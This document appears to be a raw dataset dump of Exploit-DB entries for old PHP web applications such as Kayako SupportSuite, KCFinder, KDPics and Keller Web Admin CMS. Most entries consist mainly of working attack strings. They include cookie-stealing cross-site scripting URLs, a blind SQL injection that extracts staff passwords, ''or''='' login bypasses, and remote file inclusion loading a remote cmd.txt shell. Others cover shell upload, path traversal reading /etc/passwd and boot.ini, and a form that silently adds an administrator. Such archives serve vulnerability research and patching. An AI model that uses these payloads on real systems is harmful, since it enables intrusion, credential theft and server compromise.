deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26994
Description: Kayako SupportSuite 3.0 0.26 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-30
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16094/info

Kayako SupportSuite is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect versions 3.00.26 and prior. 

http://www.example.com/index.php?_m=downloads&_a=view&
parentcategoryid=3&pcid=1&nav=[XSS]
Exploit-DB #28939
Description: Kayako SupportSuite 3.0.32 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-07
Author: Dr.HAiL

Exploit:
source: https://www.securityfocus.com/bid/20954/info

Kayako SupportSuite is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SupportSuite version 3.00.32 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?=[xss]
Exploit-DB #30852
Description: Kayako SupportSuite 3.0.32 - 'PHP_SELF Trigger_Error' Function Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-06
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/26744/info

SupportSuite is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SupportSuite 3.00.32 is affected by this issue; other versions may also be vulnerable. 

http://www.example.com/SupportSuite/upload/includes/LoginShare/modernbill.login.php/%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #32221
Description: Kayako SupportSuite 3.x - '/staff/index.php?customfieldlinkid' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/30642/info
  
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Versions prior to Kayako SupportSuite 3.30 are vulnerable. 

http://www.example.com/staff/index.php?_m=tickets&_a=ticketactions&action=delcflink&ticketid=1&customfieldlinkid=-99&#039;UNION SELECT IF(SUBSTRING(password,1, 1) = CHAR(50), BENCHMARK(1000000,MD5(CHAR(1))), null),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 FROMss_staff WHERE staffid=1/*
Exploit-DB #32219
Description: Kayako SupportSuite 3.x - '/visitor/index.php?sessionid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/30642/info

Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Kayako SupportSuite 3.30 are vulnerable. 

http://www.example.com/visitor/index.php?_m=livesupport&_a=startclientchat&sessionid="%20onload%3dalert(document.cookie)%20style=%3d
Exploit-DB #32220
Description: Kayako SupportSuite 3.x - 'index.php?filter' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-11
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/30642/info
 
Kayako SupportSuite is prone to multiple input-validation vulnerabilities, including an SQL-injection issue, multiple cross-site scripting issues, and an HTML-injection issue. The vulnerabilities occur because the application fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Versions prior to Kayako SupportSuite 3.30 are vulnerable. 

http://www.example.com/index.php?_m=news&_a=view&filter=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ca%20href=%22
Exploit-DB #36544
Description: Kayako SupportSuite 3.x - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-11
Author: Yuri Goltsev

Exploit:
source: https://www.securityfocus.com/bid/51377/info

Kayako SupportSuite is prone to the following vulnerabilities:

1. Multiple HTML-injection vulnerabilities.
2. A remote code-execution vulnerability.
3. Multiple cross-site scripting vulnerabilities.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks are also possible.

Kayako SupportSuite 3.70.02-stable and prior versions are vulnerable. 

Remote code-execution:
http://www.example.com/support/admin/index.php?_m=core&_a=edittemplate&templateid=11&templateupdate=register

Cross-site scripting:
http://www.example.com/support/staff/index.php?_m=news&_a=managesubscribers&importsub=1&resultdata=YTo0OntzOjEzOiJzdWNjZXNzZW1haWxzIjtpOjA7czoxMjoiZmFpbGVkZW1haWxzIjtpOjE7czoxMToidG90YWxlbWFpbHMiO2k6MTtzOjk6ImVtYWlsbGlzdCI7czo5MDoiPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD5APHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4uPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4gIjt9

http://www.example.com/support/staff/index.php?_m=news&_a=managenews

http://www.example.com/support/staff/index.php?_m=troubleshooter&_a=managecategories

http://www.example.com/support/staff/index.php?_m=downloads&_a=managefiles

http://www.example.com/support/staff/index.php?_m=teamwork&_a=editcontact&contactid=[added contact ID]

http://www.example.com/support/staff/index.php?_m=livesupport&_a=adtracking

http://www.example.com/support/staff/index.php?_m=livesupport&_a=managecannedresponses

http://www.example.com/support/staff/index.php?_m=tickets&_a=managealerts

http://www.example.com/support/staff/index.php?_m=tickets&_a=managefilters
Exploit-DB #41166
Description: KB Affiliate Referral Script 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: KB Affiliate Referral PHP Script V1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kbaffiliate.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/affiliate/demo/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?page=act/login and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41167
Description: KB Login Authentication Script 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: KB Login Authentication Script V1.1 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kblogin.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/login/demo/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #41168
Description: KB Messages PHP Script 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-26
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: KB Messages PHP Script V1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 26.01.2017
# Vendor Homepage: http://kunals.com/
# Software Download: http://phpscripts.kunals.com/d/item/files/kbmessages.rar
# Demo: http://phpscripts.kunals.com/d/item/detail/messages/demo/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/ and set Username and Password to 'or''=' and hit enter.
# # # # #
Exploit-DB #26654
Description: KBase Express 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15635/info

KBase Express is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 1.0.0 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/category.php?action=view&id=[SQL]
Exploit-DB #31324
Description: KC Wiki 1.0 - '/minimal/wiki.php?page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-03
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/28074/info

KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

KC Wiki 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/kcwiki-1_0-20051129/minimal/wiki.php?page=http://www.example2.com/cmd.txt?
Exploit-DB #31325
Description: KC Wiki 1.0 - '/simplest/wiki.php?page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-03
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/28074/info
 
KC Wiki is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
 
KC Wiki 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/kcwiki-1_0-20051129/simplest/wiki.php?page=http://www.example2.com/cmd.txt?
Exploit-DB #15254
Description: KCFinder 2.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-10-15
Author: saudi0hacker

Exploit:
: # Exploit Title: kcfinder 2.2 upload shell                                                 :
: # Date: 15/10/2010                                                                         :
: # Author: saudi0hacker                                                                     :  
: # Software Link:  http://kcfinder.sunhater.com/                                            :
: # Version: 2.x                                                                             :
: # Tested on: linux b0x                                                                     : 
: # Greetz to : All of my Friends                                                            :
----------------------------------------------------------------------------------------------

 [~] STEP 1 > Go to target link

     http://localhost/KCFinder/browse.php

 [~] STEP 2 > upload your shell as [shell.php.jpg]
  
 [~] Th3 End
Exploit-DB #27597
Description: KCFinder 2.51 - Local File Disclosure
Type: webapps
Platform: php
Date: 2013-08-15
Author: DaOne

Exploit:
---------------------------------------------------
# Exploit Title: KCFinder Local File Disclosure 
# Author: DaOne
# Vendor Homepage: http://kcfinder.sunhater.com/
# Category: webapps/php
# Version: 2.51 + old versions
# Google dork: inurl:kcfinder/browse.php
---------------------------------------------------

[#] Tested on their own demo...

-PoC-
POST http://server/kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1
Host: server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

dir=images/Photos+from+Bulgaria&file=../../../index.php
Exploit-DB #3263
Description: KDPics 1.11 - 'exif.php?lib_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-03
Author: AsTrex

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
KDPics <=  Remote File Include Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Discovered by AsTrex    "Rif Hackers  Team"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
URL:
http://www.phpscripts-fr.net/scripts/download.php?id=2212
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
V.CODE: In :KDPics/lib/exifer/exif.php
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit:
http://www.victime.com/[KDPics_path]/lib/exifer/exif.php?lib_path?=Evil.txt?cmd
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Greeetz to : moroccan islam defenders ,ba azdin , xskull , savi7

# milw0rm.com [2007-02-03]
Exploit-DB #29255
Description: KDPics 1.11/1.16 - 'galeries.inc.php3?categories' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21515/info
 
KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied input.
 
A successful exploit may allow unauthorized users to view files, to execute arbitrary scripts within the context of the browser, and to steal cookie-based authentication credentials. Other attacks are also possible.
 
KDPics 1.16 and prior versions are vulnerable.

http://www.example.com/[kdpics_path]/galeries.inc.php3?categories=[XSS]
Exploit-DB #29254
Description: KDPics 1.11/1.16 - 'index.php3?categories' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-12-09
Author: Mr_KaLiMaN

Exploit:
source: https://www.securityfocus.com/bid/21515/info

KDPics is prone to multiple input-validation vulnerabilities, including cross-site scripting and remote file-include issues, because the application fails to sanitize user-supplied input.

A successful exploit may allow unauthorized users to view files, to execute arbitrary scripts within the context of the browser, and to steal cookie-based authentication credentials. Other attacks are also possible.

KDPics 1.16 and prior versions are vulnerable.

http://www.example.com/[kdpics_path]/index.php3?page=galeries&categories=[XSS]
Exploit-DB #33723
Description: KDPics 1.18 - '/admin/index.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-08
Author: snakespc

Exploit:
source: https://www.securityfocus.com/bid/38603/info

KDPics is prone to a vulnerability that lets an attacker add an administrative user because it fails to adequately secure access to administrative functionality.

This may allow the attacker to compromise the application and the computer; other attacks are also possible.

KDPics 1.18 is vulnerable; other versions may also be affected. 


<html>
<title>G�n�r� par KDPics v1.18 Remote Add Admin</title>
 
<body link="#00FF00" text="#008000" bgcolor="#000000">
 
<form method="POST" action="http://www.example.com/kdpics/admin/index.php3?page=options&categorie=">
<input type="hidden" name="type" value="add">
<table border="1" cellpadding="4" style="border-collapse: collapse" width="100%" bordercolor="#808080">
<tr>
<td class="top">
<p align="center"><b>User & Pass :Snakespc</b></p>
<p align="center"><b><font face="Comic Sans MS">
<a href="http://www.example.com//index.php?act=idx" style="text-decoration: none">
<font color="#00FF00">[�]Founder:[ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]</p>
[�] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]</p>[�] Dork:"G�n�r� par KDPics v1.18"</font></a></font></b></p>
<p align="center"><b>Username:</b></td>
</tr>
<tr>
<td height="1">
<p align="center"><input type="text" name="adminuser" size="30" value="Snakespc"></td>
</tr>
<tr>
<td class="top">
<p align="center"><b>Password:</b></td>
</tr>
<tr>
 
<td height="22">
<p align="center">
<input type="password" name="adminpass" size="30" value="Snakespc"></td>
</tr>
<tr>
<td align="right">
<p align="center">
<input type="submit" value="Add User >>" style="font-weight: 700"></td>
</tr>
</form>
</table>
</html>
Exploit-DB #31938
Description: KEIL Software PhotoKorn 1.542 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-18
Author: t@nzo0n

Exploit:
source: https://www.securityfocus.com/bid/29808/info

KEIL Software's photokorn is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects photokorn 1.542; other versions may be vulnerable as well. 

The following proof-of-concept URI is available:

http://www.example.com/[path]/index.php?action=[SQL]
Exploit-DB #32143
Description: Keld PHP-MySQL News Script 0.7.1 - 'login.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-04
Author: crimsoN_Loyd9

Exploit:
source: https://www.securityfocus.com/bid/30529/info

Keld PHP-MySQL News Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Keld PHP-MySQL News Script 0.7.1 is vulnerable; other versions may also be affected. 

The following proofs of concept are available:

A. admin' OR 1=1/*
B. fdfds' OR 1=1 limit x/*
C.' AND 1=2 union select 1,2/*
Exploit-DB #5940
Description: Keller Web Admin CMS 0.94 Pro - Local File Inclusion (1)
Type: webapps
Platform: php
Date: 2008-06-26
Author: CWH Underground

Exploit:
===========================================================
  Keller Web Admin CMS Local File Inclusion Vulnerability
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 26 June 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : Keller Web Admin CMS
 VERSION     : 0.94 Pro
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/kwa
#####################################################

--- Local File Inclusion ---

-------------------------------------
 Vulnerable File [/Public/index.php]
-------------------------------------

@Line 

   21:  if (isset($_GET['action'])) {
   22:  $action=$_GET['action'];
   23:	$inclConfig = $includeFolder.$action.".inc.php";
   24:	include($inclConfig);
   25:	header('Location: '.$clnt_referer);
   26:	die();
   27:  }

---------
 Exploit
---------

[+] http://[Target]/[kwa_path]/Public/index.php?action=[LFI]

-------------
 POC Exploit
-------------

[+] http://192.168.24.25/kwa/Public/index.php?action=../../../../../../../../boot.ini%00

    This exploit will open boot.ini in system file:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)
\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

    You can change boot.ini to /etc/passwd%00 in linux OS.


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-26]
Exploit-DB #5956
Description: Keller Web Admin CMS 0.94 Pro - Local File Inclusion (2)
Type: webapps
Platform: php
Date: 2008-06-26
Author: StAkeR

Exploit:
@~~===========================================~~@
|  Author => StAkeR ~ StAkeR@hotmail.it         |  
@~~===========================================~~@ 
+                                               + 
@~~===========================================~~@
|  Keller Web Admin <= Local File Inclusion     |
@~~===========================================~~@
| Public/index.php?action=../../etc/passwd%00   |                                
@~~===========================================~~@
+
@~~===============================================================~~@
|  http://mesh.dl.sourceforge.net/sourceforge/kwa/kwa_0_94_pro.zip  |
@~~===============================================================~~@  

# milw0rm.com [2008-06-26]